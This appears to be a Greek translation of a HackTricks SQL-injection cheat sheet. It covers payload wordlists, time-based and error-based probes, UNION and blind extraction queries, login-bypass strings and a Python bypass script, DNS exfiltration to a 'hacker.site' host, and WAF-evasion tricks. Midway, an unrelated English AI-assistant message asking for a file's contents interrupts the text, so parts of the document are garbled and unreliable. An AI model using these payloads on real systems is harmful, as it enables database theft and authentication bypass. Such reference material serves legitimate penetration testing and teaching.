# SQL Injection {{#include ../../banners/hacktricks-training.md}} ## Τι είναι το SQL injection; Ένα **SQL injection** είναι ένα κενό ασφάλειας που επιτρέπει σε επιτιθέμενους να **παρεμβαίνουν στα ερωτήματα της βάσης δεδομένων** μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει σε επιτιθέμενους να **δούν**, **τροποποιήσουν** ή **διαγράψουν** δεδομένα στα οποία δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιωνδήποτε δεδομένων στα οποία έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή στο περιεχόμενο της εφαρμογής ή ακόμα και σε παραβίαση του διακομιστή ή denial of service. ## Ανίχνευση σημείου εισόδου Όταν ένας ιστότοπος φαίνεται να είναι **ευάλωτος σε SQL injection (SQLi)** λόγω ασυνήθιστων αποκρίσεων του διακομιστή σε εισροές σχετικές με SQLi, το **πρώτο βήμα** είναι να κατανοήσουμε πώς να **ενέχουμε δεδομένα στο ερώτημα χωρίς να το διαταράξουμε**. Αυτό απαιτεί την αναγνώριση της μεθόδου για να **ξεφύγουμε από το τρέχον πλαίσιο** αποτελεσματικά. Ακολουθούν μερικά χρήσιμα παραδείγματα: ``` [Nothing] ' " ` ') ") `) ')) ")) `)) ``` Έπειτα, πρέπει να ξέρεις πώς να **διορθώσεις το query ώστε να μην υπάρχουν errors**. Για να διορθώσεις το query, μπορείς να **input** δεδομένα έτσι ώστε το **previous query accept the new data**, ή μπορείς απλώς να **input** τα δεδομένα σου και να **add a comment symbol add the end**. _Σημείωση: αν μπορείς να δεις error messages ή μπορείς να εντοπίσεις διαφορές όταν ένα query λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη._ ### **Σχόλια** ```sql MySQL #comment -- comment [Note the space after the double dash] /*comment*/ /*! MYSQL Special SQL */ PostgreSQL --comment /*comment*/ MSQL --comment /*comment*/ Oracle --comment SQLite --comment /*comment*/ HQL HQL does not support comments ``` ### Επιβεβαίωση με λογικές πράξεις Μια αξιόπιστη μέθοδος για να επιβεβαιώσετε μια ευπάθεια SQL injection περιλαμβάνει την εκτέλεση μίας **λογικής πράξης** και την παρατήρηση των αναμενόμενων αποτελεσμάτων. Για παράδειγμα, ένα GET parameter όπως `?username=Peter` που επιστρέφει τα ίδια αποτελέσματα όταν τροποποιηθεί σε `?username=Peter' or '1'='1` υποδηλώνει ευπάθεια SQL injection. Παρομοίως, η εφαρμογή **μαθηματικών πράξεων** λειτουργεί ως αποτελεσματική τεχνική επιβεβαίωσης. Για παράδειγμα, αν η πρόσβαση σε `?id=1` και `?id=2-1` παράγει το ίδιο αποτέλεσμα, αυτό υποδηλώνει SQL injection. Παραδείγματα που δείχνουν επιβεβαίωση με λογικές πράξεις: ``` page.asp?id=1 or 1=1 -- results in true page.asp?id=1' or 1=1 -- results in true page.asp?id=1" or 1=1 -- results in true page.asp?id=1 and 1=2 -- results in false ``` Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να **επιβεβαιώσει SQLinjections** με τον προτεινόμενο τρόπο:
True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```
### Επιβεβαίωση με Χρονισμό Σε μερικές περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **discover blind SQL injections** είναι να κάνετε το DB να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** φόρτωσης της σελίδας.\ Επομένως, πρόκειται να concat στην SQL query μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί: ``` MySQL (string concat and logical ops) 1' + sleep(10) 1' and sleep(10) 1' && sleep(10) 1' | sleep(10) PostgreSQL (only support string concat) 1' || pg_sleep(10) MSQL 1' WAITFOR DELAY '0:0:10' Oracle 1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10) SQLite 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) ``` Σε ορισμένες περιπτώσεις οι **sleep functions δεν θα επιτρέπονται**. Τότε, αντί να χρησιμοποιήσεις αυτές τις συναρτήσεις μπορείς να κάνεις το query να **εκτελεί σύνθετες λειτουργίες** που θα πάρουν μερικά δευτερόλεπτα. _Παραδείγματα αυτών των τεχνικών θα σχολιαστούν χωριστά σε κάθε τεχνολογία (αν υπάρχουν)_. ### Αναγνώριση Back-end Ο καλύτερος τρόπος για να αναγνωρίσεις το back-end είναι να δοκιμάσεις να εκτελέσεις συναρτήσεις από τα διαφορετικά back-ends. Μπορείς να χρησιμοποιήσεις τις _**sleep**_ **functions** της προηγούμενης ενότητας ή αυτές εδώ (πίνακας από [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification): ```bash ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"], ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"], ["@@CONNECTIONS>0" ,"MSSQL"], ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"], ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"], ["USER_ID(1)=USER_ID(1)" ,"MSSQL"], ["ROWNUM=ROWNUM" ,"ORACLE"], ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"], ["LNNVL(0=123)" ,"ORACLE"], ["5::int=5" ,"POSTGRESQL"], ["5::integer=5" ,"POSTGRESQL"], ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"], ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"], ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"], ["current_database()=current_database()" ,"POSTGRESQL"], ["sqlite_version()=sqlite_version()" ,"SQLITE"], ["last_insert_rowid()>1" ,"SQLITE"], ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"], ["val(cvar(1))=1" ,"MSACCESS"], ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"], ["cdbl(1)=cdbl(1)" ,"MSACCESS"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` Επίσης, εάν έχετε πρόσβαση στο αποτέλεσμα του query, θα μπορούσατε να το κάνετε **να εκτυπώσει την έκδοση της βάσης δεδομένων**. > [!TIP] > Στη συνέχεια, θα συζητήσουμε διαφορετικές μεθόδους για να εκμεταλλευτούμε διαφορετικούς τύπους SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα. ### Εντοπισμός με PortSwigger {{#ref}} https://portswigger.net/web-security/sql-injection/cheat-sheet {{#endref}} ## Εκμετάλλευση Union Based ### Ανίχνευση αριθμού στηλών If you can see the output of the query this is the best way to exploit it.\ Πρώτα απ' όλα, χρειάζεται να βρούμε τον **αριθμό** των **στηλών** που επιστρέφει το **αρχικό αίτημα**. Αυτό συμβαίνει επειδή **και τα δύο queries πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών**.\ Συνήθως χρησιμοποιούνται δύο μέθοδοι για αυτόν τον σκοπό: #### Order/Group by Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, τροποποιείτε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια λάθος απάντηση. Παρά τις διαφορετικές λειτουργίες των **GROUP BY** και **ORDER BY** στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να εξακριβωθεί ο αριθμός στηλών του ερωτήματος. ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True 1' ORDER BY 3--+ #True 1' ORDER BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` ```sql 1' GROUP BY 1--+ #True 1' GROUP BY 2--+ #True 1' GROUP BY 3--+ #True 1' GROUP BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` #### UNION SELECT Select όλο και περισσότερα null values μέχρι το query να είναι σωστό: ```sql 1' UNION SELECT null-- - Not working 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked ``` _Θα πρέπει να χρησιμοποιείτε `null` τιμές καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και από τις δύο πλευρές του query πρέπει να είναι ο ίδιος και το `null` είναι έγκυρο σε κάθε περίπτωση._ ### Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών Στα επόμενα παραδείγματα θα ανακτήσουμε τα ονόματα όλων των βάσεων δεδομένων, το όνομα των πινάκων μιας βάσης δεδομένων και τα ονόματα των στηλών ενός πίνακα: ```sql #Database names -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata #Tables of a database -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] #Column names -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] ``` _Υπάρχει ένας διαφορετικός τρόπος να ανακαλύψετε αυτά τα δεδομένα σε κάθε διαφορετική database, αλλά είναι πάντα η ίδια μεθοδολογία._ ## Exploiting Hidden Union Based When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. Για να μετατρέψετε μια blind injection σε union-based, πρέπει να εντοπίσετε την execution query στο backend. Αυτό μπορεί να επιτευχθεί με χρήση blind injection techniques σε συνδυασμό με τις default tables του target Database Management System (DBMS). Για να κατανοήσετε αυτές τις default tables, συνιστάται να συμβουλευτείτε την τεκμηρίωση του target DBMS. Μόλις η query εξαχθεί, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια την αρχική query. Κατόπιν, μια union query προστίθεται στο payload σας, επιτρέποντας την εκμετάλλευση της πρόσφατα προσβάσιμης union-based injection. For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). ## Exploiting Error based Αν για κάποιο λόγο **δεν μπορείτε** να δείτε το **output** της **query** αλλά μπορείτε να **see the error messages**, μπορείτε να κάνετε αυτά τα error messages να **ex-filtrate** δεδομένα από τη database.\ Ακολουθώντας μια παρόμοια ροή όπως στην Union Based exploitation, θα μπορούσατε να καταφέρετε να dump το DB. ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` ## Exploiting Blind SQLi Σε αυτή την περίπτωση δεν μπορείτε να δείτε τα αποτελέσματα του query ή τα σφάλματα, αλλά μπορείτε να **distinguished** πότε το query **return** μια **true** ή μια **false** απάντηση επειδή υπάρχει διαφορετικό περιεχόμενο στη σελίδα.\ Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να dump τη βάση δεδομένων χαρακτήρα-χαρακτήρα: ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` ## Exploiting Error Blind SQLi Αυτή είναι η **ίδια περίπτωση όπως πριν**, αλλά αντί να διακρίνετε μεταξύ μιας απάντησης true/false από το query, μπορείτε να **διακρίνετε** εάν υπάρχει **error** στο SQL query ή όχι (ίσως επειδή ο HTTP server καταρρέει). Επομένως, σε αυτή την περίπτωση μπορείτε να προκαλέσετε ένα SQLerror κάθε φορά που μαντεύετε σωστά το char: ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` ## Εκμετάλλευση Time Based SQLi Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνεις** την **απόκριση** του ερωτήματος βάσει του πλαισίου της σελίδας. Ωστόσο, μπορείς να κάνεις τη σελίδα να **αργεί περισσότερο να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση προηγουμένως προκειμένου να [confirm a SQLi vuln](#confirming-with-timing). ```sql 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` ## Stacked Queries Μπορείτε να χρησιμοποιήσετε stacked queries για να **εκτελέσετε πολλαπλά ερωτήματα διαδοχικά**. Σημειώστε πως ενώ τα επακόλουθα ερωτήματα εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως αυτή η τεχνική είναι κυρίως χρήσιμη για **blind vulnerabilities**, όπου μπορείτε να χρησιμοποιήσετε ένα δεύτερο ερώτημα για να πυροδοτήσετε ένα DNS lookup, conditional error ή time delay. **Oracle** δεν υποστηρίζει **stacked queries.** Οι **MySQL, Microsoft** και **PostgreSQL** τα υποστηρίζουν: `QUERY-1-HERE; QUERY-2-HERE` ## Out of band Exploitation Αν **no-other** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να δοκιμάσετε να κάνετε τη **database ex-filtrate** τις πληροφορίες σε έναν **external host** που ελέγχετε. Για παράδειγμα, μέσω DNS queries: ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` ### Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE ```sql a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- - ``` ## Αυτοματοποιημένη Εκμετάλλευση Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap). ## Πληροφορίες ανά τεχνολογία Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε περισσότερα κόλπα ανάλογα με την τεχνολογία της βάσης δεδομένων σε αυτό το βιβλίο: - [MS Access](ms-access-sql-injection.md) - [MSSQL](mssql-injection.md) - [MySQL](mysql-injection/index.html) - [Oracle](oracle-injection.md) - [PostgreSQL](postgresql-injection/index.html) Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) ## Authentication bypass Λίστα για να δοκιμάσετε την παράκαμψη της λειτουργίας login: {{#ref}} ../login-bypass/sql-login-bypass.md {{#endref}} ### Raw hash authentication Bypass ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` Αυτό το query αποκαλύπτει ευπάθεια όταν το MD5 χρησιμοποιείται με true για raw output στους authentication checks, κάνοντας το σύστημα επιρρεπές σε SQL injection. Attackers μπορούν να το εκμεταλλευτούν δημιουργώντας inputs που, όταν hashed, παράγουν απρόβλεπτα SQL command parts, οδηγώντας σε unauthorized access. ```sql md5("ffifdyop", true) = 'or'6�]��!r,��b� sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! ``` ### Injected hash authentication Bypass ```sql admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' ``` **Συνιστώμενη λίστα**: Πρέπει να χρησιμοποιήσετε ως username κάθε γραμμή της λίστας και ως password πάντα: _**Pass1234.**_\ _(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)_ {{#file}} sqli-hashbypass.txt {{#endfile}} ### GBK Authentication Bypass ΑΝ το ' γίνεται escaped μπορείτε να χρησιμοποιήσετε %A8%27. Όταν το ' γίνει escaped θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_) ```sql %A8%27 OR 1=1;-- 2 %8C%A8%27 OR 1=1-- 2 %bf' or 1=1 -- -- ``` Python script: ```python import requests url = "http://example.com/index.php" cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) print r.text ``` ### Polyglot injection (multicontext) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ## Εντολή INSERT ### Τροποποίηση password υπάρχοντος αντικειμένου/χρήστη Για να το κάνετε αυτό θα πρέπει να προσπαθήσετε να **create a new object named as the "master object"** (πιθανότατα **admin** στην περίπτωση των χρηστών) τροποποιώντας κάτι: - Δημιουργήστε χρήστη με όνομα: **AdMIn** (κεφαλαία & μικρά γράμματα) - Δημιουργήστε χρήστη με όνομα: **admin=** - **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **length limit** στο username ή στο email) --> Δημιουργήστε χρήστη με όνομα: **admin \[a lot of spaces] a** #### SQL Truncation Attack Αν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το username είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε ότι είστε ο χρήστης **admin**, δοκιμάστε να δημιουργήσετε ένα username που ονομάζεται: "_admin \[30 spaces] a_" και οποιοδήποτε password. Η βάση δεδομένων θα **check** αν το εισαχθέν **username** **exists** μέσα στη βάση. Εάν **όχι**, θα **cut** το **username** στο **max allowed number of characters** (σε αυτή την περίπτωση σε: "_admin \[25 spaces]_") και στη συνέχεια θα **automatically remove all the spaces at the end updating** μέσα στη βάση τον χρήστη "**admin**" με το **νέο password** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν δούλεψε). Περισσότερες πληροφορίες: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) _Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) ### MySQL Insert έλεγχος βάσει χρόνου Προσθέστε όσα `','',''` θεωρείτε απαραίτητα για να εξέλθετε από τη δήλωση VALUES. Εάν η καθυστέρηση εκτελεστεί, έχετε SQLInjection. ```sql name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` ### ON DUPLICATE KEY UPDATE Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που θα εκτελέσει η βάση δεδομένων όταν επιχειρείται η εισαγωγή μιας γραμμής που θα είχε ως αποτέλεσμα διπλότυπη τιμή σε έναν UNIQUE index ή PRIMARY KEY. Το ακόλουθο παράδειγμα δείχνει πώς αυτή η δυνατότητα μπορεί να εκμεταλλευτεί για να τροποποιήσει τον κωδικό πρόσβασης ενός λογαριασμού διαχειριστή: Παράδειγμα Payload Injection: Ένα injection payload μπορεί να κατασκευαστεί ως εξής, όπου επιχειρείται η εισαγωγή δύο γραμμών στον πίνακα `users`. Η πρώτη γραμμή είναι παραπλανητική, και η δεύτερη στοχεύει την υπάρχουσα διεύθυνση email του διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης: ```sql INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; ``` Πώς λειτουργεί: - Το query προσπαθεί να εισάγει δύο εγγραφές: μία για `generic_user@example.com` και άλλη για `admin_generic@example.com`. - Αν η εγγραφή για `admin_generic@example.com` υπάρχει ήδη, η ρήτρα `ON DUPLICATE KEY UPDATE` ενεργοποιείται, υποδεικνύοντας στο MySQL να ενημερώσει το πεδίο `password` της υπάρχουσας εγγραφής σε "bcrypt_hash_of_newpassword". - Συνεπώς, authentication μπορεί στη συνέχεια να επιχειρηθεί χρησιμοποιώντας `admin_generic@example.com` με τον κωδικό που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού, το οποίο πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού). ### Εξαγωγή πληροφοριών #### Δημιουργία 2 λογαριασμών ταυτόχρονα Κατά την προσπάθεια δημιουργίας νέου user απαιτούνται username, password και email: ``` SQLi payload: username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - A new user with username=otherUsername, password=otherPassword, email:FLAG will be created ``` #### Χρήση δεκαδικού ή δεκαεξαδικού Με αυτήν την τεχνική μπορείτε να εξάγετε πληροφορίες δημιουργώντας μόνο 1 account. Είναι σημαντικό να σημειωθεί ότι δεν χρειάζεται να κάνετε comment τίποτα. Χρησιμοποιώντας **hex2dec** και **substr**: ```sql '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` I don't have access to your filesystem. Please paste the contents of src/pentesting-web/sql-injection/README.md here (or run one of these commands and paste the output): - cat src/pentesting-web/sql-injection/README.md - sed -n '1,200p' src/pentesting-web/sql-injection/README.md - bat --paging=never src/pentesting-web/sql-injection/README.md - type src\pentesting-web\sql-injection\README.md (Windows PowerShell/CMD) Once you paste the file content I will translate the relevant English text to Greek following your rules. ```python __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` Χρησιμοποιώντας **hex** και **replace** (και **substr**): ```sql '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' '+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' #Full ascii uppercase and lowercase replace: '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` ## Routed SQL injection Το Routed SQL injection είναι μια κατάσταση όπου το injectable query δεν είναι αυτό που επιστρέφει άμεσα την έξοδο, αλλά η έξοδος του injectable query μεταβιβάζεται στο query που τελικά εμφανίζει την έξοδο. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) Παράδειγμα: ``` #Hex of: -1' union select login,password from users-- a -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a ``` ## WAF Bypass [Αρχικές bypasses από εδώ](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) ### No spaces bypass No Space (%20) - bypass χρησιμοποιώντας εναλλακτικούς whitespace χαρακτήρες ```sql ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- ?id=1%0Cand%0C1=1%0C-- ?id=1%0Band%0B1=1%0B-- ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` No Whitespace - bypass χρησιμοποιώντας σχόλια ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` No Whitespace - bypass χρησιμοποιώντας παρενθέσεις ```sql ?id=(1)and(1)=(1)-- ``` ### No commas bypass No Comma - bypass χρησιμοποιώντας OFFSET, FROM και JOIN ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` ### Γενικά Bypasses Blacklist με λέξεις-κλειδιά - bypass με κεφαλαία/πεζά ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` Blacklist που χρησιμοποιεί keywords case insensitive - bypass με ισοδύναμο operator ``` AND -> && -> %26%26 OR -> || -> %7C%7C = -> LIKE,REGEXP,RLIKE, not < and not > > X -> not between 0 and X WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) ``` ### Scientific Notation WAF bypass Μπορείτε να βρείτε μια πιο αναλυτική εξήγηση αυτού του trick στο [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ Βασικά, μπορείτε να χρησιμοποιήσετε την scientific notation με απρόσμενους τρόπους για να παρακάμψετε το WAF: ``` -1' or 1.e(1) or '1'='1 -1' or 1337.1337e1 or '1'='1 ' or 1.e('')= ``` ### Παράκαμψη Περιορισμού Ονομάτων Στηλών Πρώτα απ' όλα, σημείωσε ότι αν το **original query and the table where you want to extract the flag from have the same amount of columns** μπορείς απλώς να κάνεις: `0 UNION SELECT * FROM flag` Είναι δυνατό να **access the third column of a table without using its name** χρησιμοποιώντας ένα query σαν το ακόλουθο: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, οπότε σε ένα sqlinjection αυτό θα έμοιαζε με: ```bash # This is an example with 3 columns that will extract the column number 3 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; ``` Ή χρησιμοποιώντας ένα **comma bypass**: ```bash # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` Αυτό το κόλπο προέρχεται από [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) ### Column/tablename injection in SELECT list via subqueries Εάν η είσοδος χρήστη (user input) συγχωνεύεται στη λίστα SELECT ή στους table/column identifiers, τα prepared statements δεν θα βοηθήσουν επειδή τα bind parameters προστατεύουν μόνο τις values, όχι τους identifiers. Ένα κοινό ευάλωτο pattern είναι: ```php // Pseudocode $fieldname = $_REQUEST['fieldname']; // attacker-controlled $tablename = $modInstance->table_name; // sometimes also attacker-influenced $q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param $stmt = $db->pquery($q, [$rec_id]); ``` Exploitation idea: inject ένα subquery στη θέση του πεδίου για να exfiltrate αυθαίρετα δεδομένα: ```sql -- Legit SELECT user_name FROM vte_users WHERE id=1; -- Injected subquery to extract a sensitive value (e.g., password reset token) SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1; ``` Σημειώσεις: - Αυτό λειτουργεί ακόμη και όταν το WHERE clause χρησιμοποιεί bound parameter, επειδή η λίστα identifiers εξακολουθεί να συνενώνεται ως συμβολοσειρά. - Κάποια stacks επιπλέον σας επιτρέπουν να ελέγχετε το table name (tablename injection), επιτρέποντας cross-table reads. - Οι output sinks μπορεί να αντικατοπτρίσουν την επιλεγμένη τιμή σε HTML/JSON, επιτρέποντας XSS ή token exfiltration απευθείας από την απάντηση. Μέτρα μετριασμού: - Ποτέ μην συνενώνετε identifiers από user input. Αντιστοιχίστε τα επιτρεπόμενα column names σε μια σταθερή allow-list και κάντε σωστό quoting των identifiers. - Εάν απαιτείται dynamic table access, περιορίστε το σε ένα πεπερασμένο σύνολο και επιλύστε server-side από ένα ασφαλές mapping. ### WAF bypass suggester tools {{#ref}} 